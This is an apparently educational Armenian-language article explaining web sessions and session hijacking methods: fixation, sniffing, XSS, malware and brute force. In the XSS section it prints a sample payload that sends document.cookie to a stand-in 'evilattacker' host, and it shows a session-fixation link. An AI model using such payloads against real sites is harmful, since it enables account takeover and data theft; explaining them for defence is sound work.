Ոչ ոք չի ցանկանում, որ իր cookie-ները գողացվեն։ Սա վտանգավոր տեսակի Attack է, որի նկատմամբ դուք կարող եք անգիտակցաբար խոցելի լինել։ Իրականում, Stake-ի վերջերս կատարած ուսումնասիրությունը ցույց է տվել, որ e-commerce հավելվածների 31%-ը խոցելի է session hijacking-ի նկատմամբ։ Նաև հայտնի որպես cookie hijacking, session hijacking-ը հարձակման տեսակ է, որի արդյունքում hacker-ը կարող է լիարժեք հասանելիություն ստանալ ձեր առցանց հաշիվներից մեկին։ Session hijacking-ի գաղափարը հատկապես վախեցնող է, որովհետև մենք ամեն օր այնքան շատ կայքեր ենք օգտագործում։ Մի պահ մտածեք՝ օրական քանի կայք եք մտնում, որտեղ անհրաժեշտ է մուտք գործել օգտանունով և գաղտնաբառով։ Մեզանից մեծամասնության համար այդ թիվը շատ ավելի մեծ է, քան մեկ կամ երկու։ Դա նաև թիվ է, որը, ամենայն հավանականությամբ, ժամանակի ընթացքում շարունակաբար աճել է, քանի որ ավելի ու ավելի շատ առցանց ծառայություններ են դառնում մեր increasingly «կապակցված» կենսակերպի մաս։ Եվ քանի որ այսօր մենք առցանց պահում ենք չափազանց զգայուն տվյալներ՝ օրինակ՝ կրեդիտ քարտի տվյալներ կամ սոցիալական ապահովության համարներ, հետևանքները կարող են լինել կործանարար։
Ի՞նչ է session-ը։
Մինչև session hijacking-ին անցնելը, նախ պետք է հասկանալ՝ ինչ ենք նկատի ունենում “session” ասելով։ HTTP-ն իր էությամբ state-less է, ինչը նշանակում է, որ յուրաքանչյուր հարցում կատարվում է անկախ և առանց որևէ տեղեկության նախորդ հարցումների մասին։ Գործնականում սա կնշանակեր, որ դուք ստիպված կլինեիք ձեր username-ը և password-ը մուտքագրել ամեն էջ բացելիս։ Արդյունքում, ծրագրավորողները պետք է ստեղծեին միջոց՝ նույն օգտատիրոջ կողմից կատարված մի քանի կապերի (connections) միջև վիճակը (state) հետևելու համար, որպեսզի web application-ում ամեն click-ից հետո նորից authentication չպահանջվի։ Sessions-ը հենց այդ լուծումն են։ Դրանք գործում են որպես երկու սարքերի միջև փոխազդեցությունների շարք, օրինակ՝ ձեր PC-ի և web server-ի միջև։ Երբ դուք login եք լինում որևէ application-ում, server-ի վրա ստեղծվում է session։ Այն պահպանում է վիճակը և օգտագործվում է ձեր հետագա բոլոր request-ների ընթացքում որպես հղում։

Այս sessions-ը օգտագործվում են հավելվածների կողմից՝ հետևելու օգտատիրոջ հատուկ պարամետրերին, և դրանք մնում են ակտիվ այնքան ժամանակ, քանի դեռ օգտատերը մուտք է գործած համակարգում։ Session-ը ջնջվում է, երբ դուք logout եք լինում, կամ երբ ձեր կողմից որոշակի ժամանակով ակտիվություն չի լինում։ Այդ պահին օգտատիրոջ տվյալները ջնջվում են հատկացված հիշողության տարածքից։ Session ID-ները այս գործընթացի կարևոր մասն են։ Դրանք տողեր են, սովորաբար պատահական և ալֆա-նumerical (տառաթվային), որոնք ուղարկվում են server-ի և client-ի միջև հետ ու առաջ։ Կախված նրանից, թե ինչպես է website-ը գրված, դրանք կարող են գտնվել cookies-ում, URL-ներում և website-ների hidden fields-ում։
Session ID պարունակող URL-ը կարող է ունենալ հետևյալ տեսքը՝
www.ValodPapi.com/view/99D5953G6027693HTML էջում session ID-ն կարող է պահպանվել որպես hidden field՝ հետևյալ կերպ․
<input type=”hidden” name=”sessionID” value=”19D5Y3B”>Չնայած Session ID-ները բավականին օգտակար են, դրանց օգտագործման հետ կապված կան նաև հնարավոր անվտանգության խնդիրներ։ Եթե ինչ-որ մեկը ստանա ձեր session ID-ն, նա կարող է essentially մուտք գործել ձեր account-ը տվյալ website-ում։ Հաճախ հանդիպող խնդիրներից մեկն այն է, որ շատ կայքեր session ID-ներ են ստեղծում կանխատեսելի (predictable) փոփոխականների հիման վրա, օրինակ՝ ընթացիկ ժամանակը կամ օգտատիրոջ IP հասցեն, ինչը հարձակվողի համար հեշտացնում է դրանք գուշակելը։ Մեկ այլ խնդիր է այն, որ առանց SSL/TLS-ի դրանք փոխանցվում են բաց տեքստով և կարող են ենթարկվել գաղտնալսման (eavesdropping)։ Ցավոք, այսպիսի խոցելիությունները կարող են ձեզ բաց թողնել session hijacking-ի վտանգի առաջ։
Ի՞նչ է Session Hijacking-ը։
Session hijacking-ը տեղի է ունենում, երբ օգտատիրոջ session-ը վերցվում է հարձակվողի կողմից։ Ինչպես արդեն քննարկեցինք, երբ դուք login եք լինում web application-ում, server-ը ձեր browser-ում տեղադրում է ժամանակավոր session cookie։ Սա թույլ է տալիս remote server-ին հիշել, որ դուք մուտք եք գործել և արդեն authenticated եք։ Քանի որ այս տեսակի հարձակումը պահանջում է, որ հարձակվողը ունենա ձեր session cookie-ի մասին տեղեկություն, այն երբեմն նաև կոչվում է cookie hijacking։ Սա web-ում client authentication-ի վրա հարձակվելու ամենատարածված մեթոդներից մեկն է։ hacker-ին անհրաժեշտ է իմանալ զոհի session ID-ն՝ session hijacking իրականացնելու համար։ Այն կարելի է ձեռք բերել մի քանի տարբեր եղանակներով (դրա մասին ավելի ուշ), ներառյալ՝ session cookie-ի գողացումը կամ օգտատիրոջը խաբելը, որպեսզի նա սեղմի վնասակար link, որը պարունակում է նախապես պատրաստված session ID։ Ամեն դեպքում, հարձակվողը կարող է վերահսկել session-ը՝ օգտագործելով գողացված session ID-ն իր սեփական browser session-ում։ Ըստ էության, server-ը խաբվում է՝ կարծելով, թե հարձակվողի կապը նույնն է, ինչ իրական օգտատիրոջ սկզբնական session-ը։

Երբ hacker-ը արդեն իրականացնում է session hijacking, նա կարող է կատարել այն բոլոր գործողությունները, որոնց համար սկզբնական user-ը ունի authorization։ Կախված target website-ից՝ սա կարող է ներառել fraudulent transactions (օրինակ՝ ապրանքների կեղծ գնումներ), sensitive personal data-ի հասանելիություն, որը կարող է օգտագործվել identity theft-ի համար, confidential corporate data-ի գողություն կամ նույնիսկ bank account-ի drain։ Սա նաև կարող է օգտագործվել ransomware attack-ի մեկնարկի համար, քանի որ hacker-ը կարող է exfiltrate անել տվյալները և հետո encrypt անել դրանք։
Հետևանքները ավելի ծանր են enterprise environments-ում, քանի որ cookies-ը հաճախ օգտագործվում են authentication-ի համար single sign-on (SSO) systems-ում։ Այս դեպքում successful attack-ը կարող է տալ attacker-ին access մի քանի web applications-ի վրա միաժամանակ, ներառյալ financial systems, customer databases և storage repositories, որտեղ պահվում է intellectual property։ Ընդհանուր առմամբ՝ session hijacking-ը critical security threat է ցանկացած environment-ում։
Այսպիսով, ինչպես է կատարվում session hijacking-ը։ Կան մի քանի common attack vectors, որոնք օգտագործվում են hacker-ների կողմից։
Session Hijacking-i metodner
Session Fixation
Session fixation attack-ը exploitatation է այն vulnerability-ի, երբ system-ը թույլ է տալիս attacker-ին նախապես սահմանել կամ “fixate” user session ID-ն։ Այս attack vector-ը հաճախ օգտագործում է URL-based session handling և phishing techniques։
Օրինակ՝ attacker-ը կարող է ուղարկել victim-ին malicious link
http://KataxacValodpapi.com/login?SID=12369Այս դեպքում attacker-ը փորձում է force անել session ID = 12369։
Attack flow-ը հետևյալն է․
Attacker-ը հայտնաբերում է, որ website-ը ընդունում է arbitrary session identifiers առանց validation-ի։
Attacker-ը ուղարկում է phishing email՝ ներառելով malicious link, որը պարունակում է predefined session ID։
Victim-ը բացում է link-ը և կատարում login՝ առանց suspicious activity նկատելու։
Attacker-ը օգտագործում է նույն session ID-ն և ստանում unauthorized access victim account-ին։

Այս հարձակման մեկ այլ տարբերակ նույնիսկ չի պահանջում, որ զոհը login լինի կայք։ Փոխարենը, attacker-ը կարող է նախապես fixate անել session-ը, որպեսզի կարողանա գաղտնի հետևել զոհին և monitor անել այն տվյալները, որոնք նա մուտքագրում է։ Սա essentially հակառակ սցենարն է նախորդի։ Attacker-ը ինքն է ստեղծում login session, հետո զոհը սկսում է օգտագործել համակարգը այդ նույն authenticated session-ի տակ։ Եթե, օրինակ, զոհը որոշում է ինչ-որ բան գնել, attacker-ը կարող է retrieve անել credit card details-ը՝ դիտելով account-ի historical data-ն։
Session Sniffing
Session sniffing-ը այն դեպքն է, երբ hacker-ը օգտագործում է packet sniffer (օրինակ՝ Wireshark), որպեսզի intercept անի և log անի network packets-ը, երբ դրանք անցնում են network connection-ով։ Session cookies-ը նույնպես այդ traffic-ի մաս են կազմում, և session sniffing-ը attacker-ին թույլ է տալիս գտնել և steal անել այդ cookies-ը։ Session sniffing-ին բաց թողնող տարածված vulnerability-ներից մեկն այն է, երբ SSL/TLS encryption-ը օգտագործվում է միայն login էջերում։ Սա պաշտպանում է attacker-ներից՝ չտեսնելու օգտատիրոջ password-ը, սակայն եթե SSL/TLS-ը չի օգտագործվում կայքի մնացած մասերում, ապա session hijacking կարող է տեղի ունենալ։ Այս դեպքում hackers-ը կարող են օգտագործել packet sniffing՝ network traffic-ը monitor անելու համար, ներառյալ այլ օգտատերերի session cookies-ը։ Public Wi-Fi networks-ը հատկապես խոցելի են այս տեսակի session hijacking attack-ի նկատմամբ։ Hacker-ը կարող է պարզապես միանալ network-ին և օգտագործել packet sniffer՝ տեսնելու մեծ մասի network traffic-ը, քանի որ այդ network-ում հաճախ չկա user authentication։ Նմանապես, hacker-ը կարող է ստեղծել սեփական rogue access point և իրականացնել man-in-the-middle (MITM) attack՝ session IDs ձեռք բերելու և session hijacking իրականացնելու համար.

Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) attack-ը խաբում է user-ի machine-ին՝ ստիպելով այն execute անել malicious code, թեև այն կարծես գալիս է trusted server-ից։ Երբ script-ը run է լինում, այն կարող է թույլ տալ hacker-ին steal անել cookie-ը։ Server-ի կամ application-ի vulnerabilities-ը օգտագործվում են՝ client-side scripts (սովորաբար JavaScript) inject անելու համար webpages-ի մեջ, ինչի արդյունքում browser-ը execute է անում այդ code-ը, երբ load է անում compromised page-ը։ Եթե server-ը չի սահմանում HttpOnly attribute session cookies-ի համար, ապա malicious scripts-ը կարող են հասնել session ID-ին։ XSS attack-ի օրինակ, որը կարող է օգտագործվել session hijacking-ի համար, այն է, երբ attacker-ը ուղարկում է email-ներ՝ հատուկ link-ով դեպի հայտնի, trusted website։ Բայց այդ link-ը նաև պարունակում է HTTP query parameters, որոնք exploit են անում հայտնի vulnerability և inject են անում script։ Session hijacking-ի դեպքում XSS attack-ի մեջ ներառված code-ը կարող է ուղարկել victim-ի session key-ը դեպի attacker-ի սեփական site-ը։ Օրինակ՝
http://www.qobankihashivy.com/search?<script>location.href=’http://www.evilattacker.com/hijacker.php?cookie=’+document.cookie;</script>Այստեղ document.cookie command-ը կարող է կարդալ ընթացիկ session cookie-ն և այն ուղարկել attacker-ին՝ օգտագործելով location.href command-ը։ Սա պարզեցված օրինակ է, և իրական attack-ի դեպքում link-ը սովորաբար օգտագործում է character encoding և/կամ URL shortening՝ suspicious մասերը թաքցնելու համար։
Malware
Malware-ը և այլ malicious third-party programs-ը նույնպես կարող են հանգեցնել session hijacking-ի։ Hacker-ները ստեղծում են malware, որը կատարում է packet sniffing և հատուկ փնտրում է session cookies։ Երբ այն գտնում է cookie, այն գողանում է և ուղարկում attacker-ին։ Այսպիսով, malware-ը essentially կատարում է automated session sniffing attack։ Session ID-ներ գողանալու ավելի direct մեթոդ է օգտատիրոջ machine-ին access ստանալը՝ կամ malware-ի միջոցով, կամ local/remote connection-ով։ Այդ դեպքում attacker-ը կարող է մտնել browser-ի temporary local storage folder-ը կամ “cookie jar”-ը և վերցնել ցանկացած cookie։
Brute Force
Վերջապես, hacker-ը կարող է փորձել ինքնուրույն պարզել session ID-ն։ Սա կարող է արվել երկու ձևով․ Առաջինը՝ session ID-ն գուշակելն է։ Սա հնարավոր է, եթե session ID-ն հիմնված է հեշտ կանխատեսվող variable-ների վրա, օրինակ՝ IP address կամ current time/date։ Sequential session ID-ները նախկինում հաճախ օգտագործվում էին, բայց այսօր գրեթե չեն կիրառվում, քանի որ հեշտ է դրանց pattern-ը հասկանալ։ Երկրորդը՝ brute force attack-ն է, երբ attacker-ը փորձարկում է տարբեր session ID-ներ կրկին ու կրկին՝ նախապես կազմված list-ից։ Սա գործնական է միայն այն դեպքում, երբ session ID-ի format-ը կարճ է։ Այս երկու մեթոդներն էլ հեշտությամբ կարելի է կանխել ճիշտ algorithm օգտագործելով՝ ստեղծելով երկար, random letters և numbers պարունակող session ID-ներ, ինչը գրեթե անհնար է դարձնում session hijacking-ը։









Comments (1)